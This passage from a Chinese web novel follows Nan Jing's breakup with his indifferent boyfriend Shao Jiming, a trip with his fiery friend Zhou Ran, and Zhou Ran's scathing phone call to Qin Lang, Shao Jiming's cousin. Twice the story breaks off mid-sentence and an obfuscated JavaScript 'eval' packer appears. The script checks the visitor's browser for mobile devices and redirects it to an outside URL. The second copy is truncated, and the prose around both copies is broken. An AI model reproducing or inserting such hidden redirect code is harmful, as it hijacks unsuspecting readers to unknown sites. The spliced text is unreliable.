周冉已经重新拿起筷子,夹了一块排骨,闻言抬起头,一脸疑惑:“哪样?我都接他电话了,还赏了他一个滚字,还不够客气?”她撇撇嘴,把排骨塞进嘴里,恶狠狠地嚼着,仿佛在嚼某个下头男的骨头,“物以类聚,他朋友是那种德行,他能是什么好东西?下头男的朋友也是下头男,绝交,没商量!” “你别这样,”南景下意识想劝,习惯性地考虑周全,“万一……” “没有万一!”周冉斩钉截铁地打断他,用筷子敲了敲自己的碗边,发出清脆的“叮”一声,“吃饭!搬家!分手!这三件事,就是今天的圣旨,别的免谈!” 她说完,又埋头专注于食物,吃得腮帮子一鼓一鼓,仿佛化悲愤为食量,要用实际行动扫清一切晦气。 南景看着她那副“天大地大吃饭最大,吃完就去砍渣男”的架势,无奈的笑了笑。 窗外夜色渐深,小餐厅里暖黄的灯光笼罩着他们。一个吃得凶狠投入,一个看着对方,眼底的冰层悄然融化。前路未卜,但至少此刻,有人并肩,有饭可吃,有话可以说。这就够了。 秦朗握着□□脆利落挂断的手机,听着里面传来的忙音,表情有一瞬间的空白。 坐在对面的邵既明,原本正姿态闲适的喝着水,见状也停下了动作。他看着秦朗脸上出现茫然,自己英挺的眉宇间也染上一丝不解。“怎么了?”他问。 秦朗缓缓放下手机,屏幕朝下扣在洁白的桌布上。他抬手揉了揉眉心,那动作里带着点无奈和百思不得其解。“她让我滚”。 邵既明挑了挑眉,身体向后靠向椅背,灯光勾勒出他优越的侧脸线条,高挺的鼻梁和清晰的下颌线在柔和光线下显得格外英俊,却也透着一种置身事外的疏离感。“谁这么大本事,能让我们秦大少吃闭门羹,还得个滚字?”他语气里甚至带了点饶有兴味的调侃。他完全没意识到,自己后院已然起火,且火势即将蔓延。 秦朗没理会他的调侃,兀自沉浸在分析中:“我最近……没得罪她啊?说好回国一起吃饭,之前聊得也挺好,怎么突然就……”他像是在问邵既明,又像是在自言自语,“这丫头,又抽什么风?” “上次她这么干脆让我滚,”秦朗抬起头很纳闷的看向邵既明,表情有点古怪,像是想起了什么既尴尬又有点好笑的事,“还是我坚持要她对我负责那会儿。” 邵既明闻言,眼中的兴味更浓了,嘴角勾起一个浅淡的弧度,剑眉微扬,带着几分同情的看着自家表哥:“这么惨?到底何方神圣,能让你追回国内,就换来这个?”他还搁这儿老神在在的,一副悠闲看戏的姿态。殊不知,这戏台子很快就要塌到他头上了。 秦朗看着他这副模样,反而笑了,那笑容里有点自嘲,又有点认命般的甘之如饴。“一个小丫头,野得很。我对她一见钟情,她么……看我大概跟看空气差不多。” 他想起初见的场景,嘈杂的异国街头,那姑娘正手脚利落地教训一个扒手,动作又凶又悍,夕阳给她飞扬的发梢镀了层金边,她压根没注意到不远处看呆了的他。后来在派对上再见,她喝得晕乎乎,竟然跑过来调戏他,再后来……就是那混乱又荒唐的一夜。她醒后比他这个“受害者”还冷静,拍拍屁股就想走人,不要他负责,也不想对他负责,就甩给他一个“滚”字。 快三十岁的人了,自认也算历经情场、沉稳从容的秦朗,就这么一头栽了进去,拔都拔不出来。乐趣?或许吧。更多的是一种前所未有的、被彻底点燃的征服欲和……心动。 “惨?”秦朗收回目光,看向邵既明,摇了摇头,脸上那点无奈化开,“这叫情趣,你这种感情生活只有习惯和省心的人,不懂。” 邵既明不置可否地笑了笑,没接话。他确实不懂,也不需要懂。他觉得现在这样,就很好。 “那现在怎么办?”邵既明用下巴点了点桌上几乎没动的菜肴,“这饭,还吃吗?” 秦朗想到电话里周冉那边隐约传来的餐厅背景音的嘈杂动静,以及她那中气十足的一个“滚”字。 “吃,当然吃。”秦朗语气颇为笃定容,“她啊,估计这会儿已经自己找地方吃上了,而且胃口应该还不错。”毕竟,能有力气凶巴巴地让他“滚”,说明精气神足得很。 服务生走上前,秦朗温和吩咐:“麻烦,可以上后面的菜了。” 邵既明看着他表哥这前后反差极大的态度,从懵逼到无奈再到此刻的淡定甚至隐隐期待,觉得感情这事果然麻烦又无解。心想,还是这样简单的关系最好,无需猜测,没有波澜。 车子驶入安静的别墅区,树影在路灯下婆娑。最终停在一栋设计简约的独栋前,壁灯映照着门廊。南景熄了火,在驾驶座上静坐了几秒,才推门下车。 他掏出钥匙,插入锁孔,推开门,温暖的光晕和熟悉的气息扑面而来。 门厅柔和的感应灯自动亮起,照亮了精心打理的玄关。往里是宽敞的客厅,米白色的长毛地毯柔软地铺陈开来,上面随意扔着两个柔软的鹅绒抱枕。沙发搭着一条羊绒盖毯,一角自然垂落。落地灯散发着暖橙色的光,照亮了旁边几件小巧的摆件——一只陶土烧制的歪脖子猫,一个木质的地球仪,几盆长势喜人的绿植。开放式厨房的岛台上,还放着两个同款不同色的马克杯,靠在一起。空气中,似乎还残留着一点他早晨烤面包时留下的黄油香气。< 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周冉托着腮,心里默默叹了口气。这么用心的一个窝,等会儿他收拾着收拾着,看到这熟悉的一切,会不会又心软了?她脑海里甚至自动响起了一段悲情的BGM。算了,随他吧~随他吧~~她晃晃脑袋,赶走那些无谓的担忧,拿出手机,百无聊赖地划拉着屏幕,耳朵却时刻留意着楼上的动静。 楼上主卧。 南景没有开大灯,昏黄的光晕只照亮床周一小片区域,反而让房间其他地方陷在更深的朦胧里,熟悉又陌生。 他站在门口,没有立刻走进去。目光缓缓扫过房间——床上铺着他挑选的深蓝色床品,窗帘是他喜欢的遮光材质,桌子上放着他常看的几本书,小沙发上搭着他昨天换下的衬衣。他的床头柜上摆着一个小小的相框,里面是去年冬天,邵既明难得陪他去海边,他终于拍到了两人难得同框的照片。一切都和他早上离开时一样,又似乎全然不同了。 鼻尖毫无征兆地涌起一阵强烈的酸涩,他猛地吸了口气,抬起头,使劲眨了眨眼,将那阵突如其来的潮湿热意逼退。没有愤怒,至少此刻没有。只有一种沉重的失望,像浸透了水的棉被,一层层裹上来,压得胸口发闷。 他走到衣帽间,拉开门。他的衣服和邵既明的衣服分列两边,井然有序。他拿出一个行李箱,打开,平放在地毯上。然后开始沉默地、有条不紊地收拾。衣服、裤子、袜子……折叠,放入。 指尖触碰到一件羊绒衫时,他停顿了一下。这是去年邵既明去欧洲出差回来随手带给他的,牌子是他平时不会买的奢侈品牌。他当时很高兴,不是因为牌子,而是因为“他记得给我带东西”。现在想来,那大概就像邵既明说的,只是“顺手”。就像给一个长期合住还算满意的室友,带一份伴手礼,无关爱意,只是一种习惯性维持关系的礼貌。 很多小东西都是这样。邵既明买东西时,看到合适或许觉得他需要或喜欢的,就会顺手带一份。他曾经珍视这种顺手,将其解读为沉默的挂念和独特的温柔。此刻,这“温柔”的假象被戳破,露出底下苍白乏味的本质——那不过是一种无需付出太多心思的、省事的相处模式。 他以为自己规划的是两个人的长久未来,小心翼翼地经营着这个家,挑选每一样物品时都想着“他会不会喜欢”、“和我们家搭不搭”。而邵既明呢?他大概只是平静地等待着某个合适的时机,或者等待家里施压到一定程度,然后便可以用最省心的方式,结束这段始于意外、维系于习惯的关系。 没有激烈的争吵,没有狗血的背叛,甚至没有明确的厌烦。只是不在意。这种彻底的、漠然的不在意,比任何伤害都更令人心灰意冷。 他把常用的护肤品、几本书、那台常用的笔记本电脑,一一收进行李箱。动作不算快,但很稳,没有犹豫。最后,他走到床头,拿起那个小小的相框,看了一眼里面笑容灿烂的他,和漠然的邵既明,然后毫不犹豫地,将相框背面朝下,扣在了抽屉里。 行李箱合上,他直起身,最后看了一眼这个房间。昏黄的灯光,柔软的床铺,空气中似乎还有两人常用的同一款洗衣液的味道。这里曾是他疲惫时最想回归的港湾,是他一点一滴构筑起来关于归属的全部想象。 现在,他要亲手离开了。 他拉着行李箱走出房间,轻轻带上了门。 周冉听到声音,立刻从椅子上站起来,看向楼梯口。南景拉着一个不小的行李箱,还背着一个鼓鼓囊囊的双肩包,一步一步走下来。他的脸色在客厅明亮的灯光下显得有些苍白,但眼神却是平静的,甚至可以说是一种意外的清明。没有泪痕,只有眼眶微微的泛红。 他走到客厅中央,停下,最后一次目光缓缓扫过这个他精心布置充满生活痕迹的空间——沙发上的毯子,岛台上的马克杯,生机勃勃的绿植。他的目光在那上面停留了或许只有半秒,然后平静地移开,看向周冉。 “走吧。” 他掏出手机,他没有翻找,没有迟疑,直接点开了那个熟悉的对话框。聊天记录还停留在几天前,他发的一条关于晚餐的寻常询问,对方简短地回了一个“嗯”。 他修长的手指在屏幕上敲击了几下,打了三个字,又删掉,重新输入。最终,他抿了抿唇,像是下定了最后的决心,按下了发送键。 屏幕暗下去之前,能看到那条刚刚发出的、没有附加任何解释、也没有得到任何回复的信息,孤零零地悬在对话框底部: 分手吧。 他收起手机,拉过行李箱的拉杆,轮子滚动,朝着门口走去。没有再回头。 4. 在意你的话,他就会在意你的话 大平层的客厅只亮着角落一盏落地灯,光线昏蒙得像一层薄纱。清冷的月光越过毫无遮挡的巨型落地窗泼洒进来,在深色地板上镀出一大片晃动的银白。窗外,是沉睡的城市和那条永不疲倦的江,几艘夜游的航船亮着串珠似的灯火,在墨色的水面上缓缓拖出粼粼的光带。 南景和周冉没坐沙发,就并肩靠坐在冰凉的玻璃窗前。两人中间散落着几个易拉罐。周冉拿起一罐,“嗤”地拉开拉环,泡沫涌出的细微声响在过分安静的空间里格外清晰。她仰头灌了一大口,随即皱了皱鼻子,喉间发出一声含糊的咕哝。 “不开心的時候喝酒,”她用手背蹭了下嘴角,“这酒味好像都变苦了,更难喝了。”她侧过脸,借着月光看南景的侧影。安慰人她实在不擅长,嘴上喊打喊杀容易,真看到亲近的人这副沉静到近乎寂灭的样子,她那些咋咋呼呼的话反而堵在喉咙里,有点不知所措。果然,看别人谈恋爱和亲自经历,哪怕是旁观,滋味也大不一样。她心里嘀咕。 南景也拉开一罐,没有立刻喝,只是用手指慢慢转动着冰凉的罐身。他望着江心那点移动的光斑,目光没什么焦点。“还好,酒的味道,都差不多。”他声音很平,没什么起伏。“我只是在想,他要是早点说清楚……我也就不用浪费这么多年,去琢磨、去适应、去给自己编那么多理由了。”他举起酒,喝了一口。 “所以,那不就是个纯纯的崽种么。”周冉立刻接上。“有时候吧,我也会觉得自己挺委屈,但转念一想,”她耸耸肩,罐子碰到地面发出轻响,“算了,我也不是什么省油的灯,半斤八两,谁也别嫌弃谁。” 南景终于转过头,看了她一眼。月光下,他嘴角很轻地弯了一下。“谢了,后妹。”他不是个会沉溺在悲情里反复咀嚼的人,痛是真的,但往前走也是真的。“你要记住,以后喜欢一个人,得喜欢一个真正在意你的。在意你的话,他就会在意你的话,不会敷衍,不会怠慢。是那种……久处不厌,闲谈不烦的。” “呵,”周冉从鼻子里哼出一声,脑袋向后仰,望着天花板上朦胧的光影,“我才不喜欢。如果我爱一个人,是为了从他那里得到爱,那我不如直接跳过他,自己爱自己,多省事,还不会失望。”她语气里有一种超越年龄的淡漠和清醒,仿佛那些情愫纠缠真是过眼云烟。“再说了,你看那些长久的爱情,最后不都结婚了?结婚久了,爱情不就慢慢变成亲情了么?那爱情这位置不就空出来了?” 她没等南景接话,自顾自地说了下去,语速变快,带着点漫不经心:“我经常在网上看到有女的发帖,说‘我老公好像恋爱了’、‘我老公好像失恋了,我要不要安慰他’?哈!”她短促地笑了一声,“邵既明说对你只习惯,我看他就是习惯了他那个高高在上的死样子,大烧杯!” 她灌下一大口酒,冰凉的液体滑过喉咙,让她的话也带上了几分酒意的直白:“任何感情到最后,可能都会归于平淡,这我承认。但如果我要的是爱情,那就算到了五十岁,他该送的花还得送,我该给他的、我能给的一切浪漫和惊喜,也一点不会少。而不是让故事的最后,浪漫被杀死,生活只剩一地鸡毛,可谁都觉得理所当然,连句抱歉都欠奉。”她转过头,眼睛在昏暗的光线里亮得惊人,盯着南景,“爱情,就该让它一直是爱情的样子。变了味,就干脆利落地倒掉,别勉强喝馊了的汤。” 南景安静地听着,手指无意识地捏扁了空掉的易拉罐,发出“咔啦”的轻响。他沉默了好一会儿,才低声说:“不知道的,还以为是你刚失恋了呢。想得这么通透,也没见你真刀真枪谈过一场。” 周冉立刻换上了一副惬意的表情,舒展了一下蜷着的长腿,整个人更深地陷进背后沙发的阴影里。她举了举手里的酒罐:“恋爱能带给人的心跳加速、晕晕乎乎、要死要活的感觉,”她眨了眨眼,“酒精也可以。而且,酒醒之后,除了有点头疼,没有其他任何负担。多划算。” 南景看着她那副样子,终于,从胸腔里逸出一声低低的、像是气音的笑。他重新拉开一罐新的,铝罐碰撞的清脆声响在夜色中格外清晰。他举起酒,朝向周冉:“喝一个。谢谢你……收留我这个失恋人员。” 周冉也举罐,和他轻轻一碰:“小意思。” 两人各自喝了一口。冰凉的酒液下肚,沉默再次弥漫,但不再是那种沉重的静默,而是一种并肩而坐、无需多言的松弛。 过了一会儿,周冉用脚尖轻轻踢了踢南景的小腿。“欸,我说,失恋了光在这儿喝闷酒,多没劲啊。”她眼睛转了转,忽然亮起一种跃跃欲试的光芒,眉眼在朦胧光线里舒展开,带着生动的笑意,“来场说走就走的旅行,怎么样?把什么糟心男人、破事儿,全都扔在脑后!” 南景转过头,对上她亮晶晶充满怂恿的眼睛。他看了她几秒,然后,很轻,但很肯定地点了下头。 “可以。想去哪儿?” “随便啊!”周冉兴奋起来,盘腿坐直,“想到哪儿就去哪儿!把以前课本上想去的地方、清单里存着的地方,全都走一遍!”她掰着手指头算,“顾彤彤和尤一的婚礼在下个月呢,咱们赶在那之前回来就行。以前为了活着,拼了命读书、挣钱,”她挥了挥手,指向窗外广阔的城市和更远的夜空,“现在,姐姐有钱了,咱们得好好生活,把亏欠自己的,都补回来!” 南景看着她神采飞扬的样子。他忽然想起什么,略带迟疑地开口:“那个……冒昧问一句,周富婆,您到底继承了……多少‘好好生活’的资本?” 周冉立刻“啧”了一声,斜眼睨他,嘴角却翘得老高:“南小景同学,你这个问题,确实有点冒昧了哦。”但她紧接着,就大方地在南景面前,伸直了两条手臂,十根手指头张开,在朦胧的月光和灯光下,正反面得意地晃了晃。 南景看着她那十根手指,缓缓点了点头,表情有点复杂,像是感慨,又像是为她高兴。“明白了。那……老板,您看我能给您打工吗?端茶倒水,规划行程,保镖助理,都能兼一点。” “好说好说!”周冉大手一挥,气势十足,仿佛坐拥江山,“以后我的吃喝玩乐基金,就全权交给你打理了!哼哼……”她不知想到什么,忽然贼兮兮地笑起来,越笑越开心,最后干脆笑倒在柔软的地毯上,肩膀一抖一抖,“哈哈哈……没想到啊没想到,你当初为了那个姓邵的,专门转了专业,学了那么多投资理财的东西,最后……全便宜我了!哈哈哈!这算不算,天道好轮回?” 南景听着她的笑声,看着窗外江心那渐行渐远的游船光点,仰头,将罐中最后的酒一饮而尽。他将空罐轻轻放在地上,与之前的那些排列在一起。 月光无声流淌,江风依旧。前路未知,但至少今夜,有人一起醉,一起疯,一起计划着逃离和重新开始。这似乎,也不错。 微醺的酒意像一层薄纱,朦胧地裹着思绪。两人道了晚安,各自回了房间。 南景关上房门,没有开顶灯,只拧亮了床头一盏小灯。他在床边坐下,静默了片刻,才从口袋里掏出一直静默无声的手机。屏幕亮起,冷白的光刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046455|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得他眯了眯眼。 没有未接来电的红色提示。通知栏里,只有一条来自邵既明的短信,孤零零地悬在那里。 他点开。 ? 就因为今天没陪你过生日。 连一个完整的问号都欠奉。简洁,直接,甚至能透过这短短两行字,想象出那人微微蹙眉、略带不耐又觉得有些无谓的神情。没有询问“你在哪儿”,没有关心“怎么了”,更没有对“分手吧”三个字本身做出任何回应。仿佛那只是一句无关紧要的需要被澄清的抱怨,而核心问题,仅仅是他今天“没陪他过生日”。 南景盯着那行字,看了很久。久到屏幕自动暗下去,他又用手指点亮。然后,他扯了扯嘴角,一个近乎自嘲的苦笑在昏暗光线下慢慢漾开。 还是……会失落的啊。他对自己承认。毕竟,是掏心掏肺、认认真真爱了那么多年的人。即便看清了真相,即便“下头”的感觉如此清晰,那感情也不是自来水龙头,说关就能立刻关上,滴水不漏。心口那块地方,依然闷闷地发疼,每一次呼吸都带着沉甸甸的滞涩。 他没有回复。任何语言在此刻都显得多余且可悲。解释?控诉?质问“你只是习惯我吗”?都太狼狈了。他只是抬起手指,悬在屏幕上方停顿了一瞬,然后用力按下了删除键。 他没有拉黑邵既明。没必要。家里那些水电煤气物业的联系方式,一些零碎物品的收纳位置,甚至邵既明某些衣服的送洗习惯,都记在他脑子里。万一……万一邵既明有什么找不到的东西,至少还能联系到他。他说放下,就是真的打算放下。而真正的放下,是连拉黑这种带着激烈情绪的动作,都显得多余。是允许那个人彻底退出自己的生活,同时也将自己从对方的生活中,礼貌而彻底地擦除。 与此同时,城市的另一端。 邵既明输入密码,打开别墅的门。玄关的感应灯应声而亮,他换上拖鞋,走进客厅。 一切看起来似乎没什么不同。沙发上的抱枕依旧歪着,毯子搭在一角。他径直走到厨房,打开冰箱门,冷气混合着里面收纳整齐的食材气息涌出。他拿出一瓶矿泉水,目光掠过冰箱门上贴着的几张便利贴——是南景的字迹,便利贴还在原位。 他拧开瓶盖喝了几口水,路过客厅时,他瞥了一眼,没觉得有什么异常。或许只是……少了点人气?他没深想。 走上楼,推开主卧的门。房间里很整洁,甚至比平时更整洁一些。他脱下外套随手搭在椅背上,解开领口。视线扫过房间,那个小相框好像不见了?他顿了顿,但也没太在意,或许南景收到抽屉里了。 他拿起手机,又看了一眼屏幕上那条来自南景的“分手吧”,和下面自己回复的那两条短信。对方没有再回复。 邵既明将手机扔到床上,抬手揉了揉眉心,掠过一丝淡淡的烦躁,但更多的是一种不以为然。 就因为今天没陪他过生日?至于闹到说分手么? 在他固有的认知里,南景一直是体贴的、懂事的、情绪稳定的,从未有过这样任性的举动。他甚至觉得这有点不像南景。或许,是今天真的心情不好? 他想着,等明天,或者过两天,南景气消了,自然就回来了。六年的时间,早已铸就了他一种近乎盲目的笃定——南景太好了,好到他已经习惯了这份“好”,并且从未想过,这份“好”也会有期限,那个人,也会真的离开。 他走进浴室,很快,里面传来了哗啦啦的水声。卧室里,手机屏幕静静躺在床铺上,渐渐暗了下去。 5. 下头男的亲哥,大概率也是个下头男 初秋的天,高远疏朗,阳光是透明的金色,空气里有种干爽的、令人振奋的味道。一场真正说走就走的旅行,就在这样的天气里开始了。 尽管是临时起意,有南景在,一切依旧有条不紊。他总能在那份随意的骨架里,迅速填充进妥帖的细节——路线规划、特色酒店、甚至当地的美食小店。周冉乐得当甩手掌柜,只管带着眼睛和胃口,跟着走。 某处山顶的观景台,天际刚泛起鱼肚白。两人裹着租来的厚外套,看着翻涌的云海逐渐被晨曦染上金红,磅礴而寂静。周冉举起手机,拍了一张两人在晨光中的笑脸,远处是波澜壮阔的云海日出。她低头打字,很快,朋友圈多了一条动态。 照片配文:「世界奇奇怪怪,总有人陪你可可爱爱。????」 南景也发了朋友圈,是另一张周冉对着云海张开手臂、头发被山风吹得飞扬的抓拍,生动又肆意。他原本的配文很简单,但手机立刻被周冉抢了过去,她手指飞快地戳着屏幕,嘴里还念念有词:“什么风景不错……太普通了!看我的!” 于是,南景那条朋友圈的配文变成了:「欢迎回来,我的女王大人。」 南景看着她得意的样子,只是笑着摇了摇头,随她去了。山风猎猎,阳光彻底跃出云海,将万物镀上温暖的光泽。 秦朗刚结束一个会议,有些疲惫地揉了揉鼻梁,顺手拿起手机,习惯性地刷新了一下朋友圈。 下一秒,他滑动屏幕的手指猛地顿住。 周冉那张并肩看日出的照片,以及照片里那个男人的样子,像针一样刺进他的视线。配文里“可可爱爱”四个字,此刻看来竟有些扎眼。 秦朗的眉头瞬间拧紧,坐直了身体。 一种强烈酸意的情绪猛地冲上头顶。他完全不知道周冉和南景认识!更不知道他们关系好到能一起肩并肩的看日出!周冉从未提过,一个字都没有! 他想也没想,直接退出了微信界面,在通讯录里飞快翻找,然后重重按下了拨号键。忙音响了好几声,每一声都让他的不耐增加一分。 电话终于被接通。 “喂?”邵既明的声音传来。 “邵既明,”秦朗开门见山,“你男朋友呢?南景,现在在哪儿?” 电话那头显然愣了一下,有几秒的空白。“……怎么了?”邵既明反问。南景?他好像……从前天发完那条没头没脑的“分手吧”和自己那句没得到回复的质问后,就再没消息。他也没主动去问。 “怎么了?”秦朗几乎要被他的迟钝气笑,“他跟周冉在一起!你看到没有?他们俩在一起!看日出,发朋友圈!南景跟周冉到底是什么关系?”他语速很快,像连珠炮似得,“他们俩这算怎么回事?私奔了你知不知道!邵既明,你知不知道?!” “私奔?周冉?”邵既明重复着这两个词。有些困惑和这个问题打懵的茫然。听筒里传来他似乎换了个手拿电话、以及衣物摩擦的细微声响。周冉?南景?这两个名字被秦朗以一种爆炸性的方式联系在一起。南景好像是提过要接一个朋友……是周冉?所以,南景那天,是为了接周冉?然后……就再没回来?还发了“分手吧”? 一连串碎片被“私奔”这个极具冲击力的词强行串联,指向一个荒谬却似乎能解释“分手”的结论。所以,南景不是因为生日,而是因为……周冉?某种极其陌生的闷堵感,猝不及防地攥住了他的心脏。他一时失语。 “你……看看南景的朋友圈。”秦朗深吸一口气,努力让自己的声音听起来冷静些,提醒道。他知道邵既明几乎不看这些。 电话那头传来窸窸窣窣的声音,然后是短暂的沉默。邵既明似乎在操作手机。秦朗能想象到他皱着眉,带着些许不耐和更多不解,点开那个他可能一年也看不了几次的头像。 等待的几十秒格外漫长。秦朗走到窗边,无意识地用手指叩击着冰凉的玻璃窗,目光没有焦点地落在楼下如织的车流上。 终于,邵既明的声音再次传来,比之前低沉了一些,语调有些古怪,像是试图用一种平静的叙述来掩盖下面的波澜:“他是个纯gay。”他没有提“分手吧”那条信息,仿佛那只是一个无关紧要可以被忽略的细节。“南景那天说……要接个朋友。就是她吧。” “嗯?”秦朗敏锐地捕捉到了邵既明语气里那不寻常的滞涩,但此刻他自己的心绪更乱。知道南景的性向让他松了口气,可那种“自己的人”和别人,尤其是那个让他捉摸不透的丫头,如此亲密无间地在一起、而自己却被完全排除在外的感觉,依然让他极其不舒服。“那他们那天晚上为什么没出现?这丫头……电话不接,消息也不回。” 他顿了顿,一种迫切的、想要立刻得到答案的冲动占了上风。“我给她打个电话。”说完,不等邵既明再说什么,秦朗便干脆地挂断了电话。 听筒里传来急促的忙音。邵既明缓缓将手机从耳边拿开,屏幕还停留在南景那条朋友圈的界面。照片上周冉的笑容灿烂得刺眼,配文“我的女王大人”那几个字,也显得格外……亲密。 其实南景回复过别人,说‘妹妹回来了’。但邵既明几乎从来不和南景的朋友接触,也不怎么让南景接触他的朋友圈,有也是点头之交,说白了,邵既明并没有将南景纳入他未来的规划中。 他退了出来,手指无意识地点开了和南景的短信对话框。最后一条,依然是自己那句「?就因为今天没陪你过生日。」孤零零地悬在那里,下面空空如也。 之前那种笃定——认为南景只是闹闹脾气、过两天就会好的笃定——像被戳破的气球,正在快速漏气。一种更深的、更不确定的烦躁,开始在他心湖底下,缓慢地翻涌起来。 他抬起头,办公室窗外,秋日午后的阳光正好,却莫名让人觉得有些晃眼,有些……冷。 下山的路蜿蜒在苍翠的山林间,石板台阶上落着些微湿的苔痕和零星的枯叶。周冉和南景前一后走着。 周冉的手机在口袋里震动起来,她掏出来一看,屏幕上跳动着“秦朗”两个字,眉头立刻习惯性地拧起。她快拍了拍前面南景的肩膀。 “南小景,你先往前走一段,我接个电话。”她扬了扬手机,语气里有压着火的紧绷。 南景回头看了她一眼,目光扫过她手里的手机,似乎明白了什么,没多问,只是点点头,温声说:“好,我在前面那个亭子等你。别走太快,看路。”说完,他便继续不紧不慢地往下走去,背影很快被转弯处的树丛掩去大半。 周冉不是想背着南景接电话,相反,她是怕自己待会儿控制不住的输出会溅射到他。虽然骂的是那该挨千刀的前任,可提起邵既明这个名字,对现在的南景来说,恐怕跟伤口上撒盐差不多。尤其想到那狗男人居然真的一条像样的追问或挽回都没有,简直……忍一时卵巢囊肿,退一步乳腺增生!这口气能忍? 她深吸了一口山林间清冽的空气,又重重吐出,然后才慢条斯理地划开接听键,将手机放到耳边。 “喂。” “冉冉,”秦朗带笑的声音立刻传来,“在哪儿玩呢?我看到你朋友圈了,景色真不错。你跟南景认识啊?这可真巧了,他是我表弟邵既明的男朋友。” 周冉的脚步停在了一级石阶上。她扯了扯嘴角,一个标准的皮笑肉不笑的表情浮现在脸上,可惜电话那头的人看不见。她另一只手无意识地揪住了旁边探出的一截细树枝,指尖用力,树叶簌簌作响。 “邵既明是吧。”她一字一顿地重复这个名字。 “对,邵既明,我亲表弟。”秦朗的声调更上扬了些,“你看,这多巧,都是自己人,真是缘分……” “自己人?”周冉终于出声打断了他,那点强压的火气开始从齿缝里丝丝缕缕地漏出来,“秦先生,您这位亲表弟……” 她顿了顿,像是在挑选最合适的措辞,然后,语速骤然加快:“他是昨天出门不幸被泥头车创飞了,现在正躺在ICU里靠呼吸机维持生命体征,所以没法动弹也没法说话吗?” “还是说他那两只手突然得了什么不治之症,高位截肢了,或者干脆进化返祖成了霸王龙的短小前肢,以至于连手机键盘都摸不着?” “又或者,他其实是个内置了薄情寡义和麻木不仁默认程序的仿生机器人,压根没安装人类基本情感反馈和危机处理模块?” “南景跟他说分手,他倒好,回了个标点符号加一句屁话,然后就原地蒸发,静默如鸡了?怎么,是觉得沉默能孵出金蛋,还是指望冷着冷着对方就能自动回心转意,跪求他不要放弃这段省心的习惯?” “这操作真是让我大开眼界,叹为观止。我原本以为渣至少需要一点基本的情商和行动力,没想到还能渣得如此节能环保,如此理直气壮,如此……令人叹服。” 她每说一句,手里那根可怜的树枝就被掰断一小截,清脆的“咔嚓”声零星响起。 电话那头的秦朗,早已没了最初带笑的气音,只剩下一片被这疾风骤雨般的犀利嘲讽砸懵后的沉默。他张了张嘴,似乎想辩解什么,却发现任何语言在此刻都显得苍白无力。邵既明对南景的冷淡,他并非毫无察觉,只是没想到……在旁人眼中,尤其是周冉眼中,竟是如此不堪。 “行了,”周冉似乎发泄够了,也懒得再听任何解释,她松开手,指尖沾上一点碾碎的绿叶汁液,带着草腥气。她看着南景在前面不远处亭子里的背影,语气恢复了最初的平淡:“果然,下头男的亲哥,大概率也是个下头男。物以类聚,古人诚不欺我。” “别再打给我了。再见。” 说完,不等秦朗那边发出任何一个完整的音节,她干脆利落地按下了挂断键。世界瞬间清静,只剩下山风吹过林梢的呜咽,和远处隐约的鸟鸣。 厌屋及乌,她现在看所有跟邵既明有关的人和事,都自动蒙上了一层灰扑扑的厌恶滤镜。至于秦朗本人……她承认,有过好感,甚至一点点心动。但也仅此而已了。在她在意的人受到如此轻慢对待之后,那些微末的好感,不足以让她对与之相关的一切保持耐心和宽容。 她拍了拍手上的灰尘,又深吸了一口山间清冷的空气,抬步朝前方亭子里那个安静等待的背影走去。 秦朗听着电话里传来的忙音,握着手机,足足在原地愣了好几分钟。周冉那番不带一个脏字却刀刀见血、句句诛心的问候,还在他脑子里嗡嗡回响。他揉了揉发紧的太阳穴,试图理清这突如其来的信息轰炸。 分手?南景提的?邵既明那个反应? 尴尬和对邵既明那家伙无言以对的怒气涌了上来。他点开微信,找到周冉那个杀气腾腾的头像,斟酌着打了又删,最后还是发过去一条: 「小祖宗,这事儿,我真不知情。什么时候的事?你告诉我,我去骂他。」 手机很快震动,回复来了。只有一条,但长度可观。 周冉:「那天你们俩在包间说的话,我们一字不差,全听见了。秦朗,你原话转告邵既明:我家南景不是没人要,不是非他不可,不需要他那份高高在上的习惯来施舍。让他带着他那套省心理论,哪儿凉快哪儿待着去,实在没事干可以多吃点核桃补补他那不太好使的脑子,或者直接去吃shi也行。智障玩意儿,别再来沾边。晦气。」 秦朗看着屏幕上那一大段连标点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么?”南景脚步一顿,以为自己听错了。 周冉却一本正经地解释起来,还配合着手势:“你看啊,这男人吧,有时候你可以把他当条狗养,给点好处就摇尾巴,训好了也能看家护院,逗着玩解解闷。但是!”她话锋一转,表情严肃,“你绝不能把狗当男人用啊!那性质就完全不同了,对吧?” 南景听完,足足愣了有三秒钟,然后抬手扶住额头,笑得肩膀直抖,又是无奈又是好笑:“周、小、冉!你出国这几年,脑子里到底都装了些什么乱七八糟的‘知识’???早知如此,当初你要出国的时候,我就该把你绑家里!” “什么叫乱七八糟?这都是宝贵的人生观察!”周冉不服气地叉腰,随即又像是想到什么有趣的事,眉毛高高扬起,露出一个“你懂的”表情,“哎,我跟你说,我在那边看真人秀,还给过不少小费呢!” “真人秀?脱口秀那种?”南景顺着她问。 “差不多吧,”周冉撇撇嘴,摇了摇头,评价道,“不过演员演技太差了,假得很,敷衍观众。就是一男一女,在床上……嗯,演点成年人爱看的情节,嗯,那可真是好大一张床啊。” 南景瞬间明白过来,耳根有点发热,又忍不住想笑:“你……你还去看这些?” “嗯哼。”周冉毫不在意地点点头,背着手,一步一跳地走下几级台阶,马尾在脑后晃荡。她沉浸在回忆里,语气变得有点梦幻,“不过,有一次在酒吧,我可是见到个真绝色。当时可能有点喝高了,带了滤镜……但真的,惊为天人!” “哦?”南景也被勾起了好奇心。 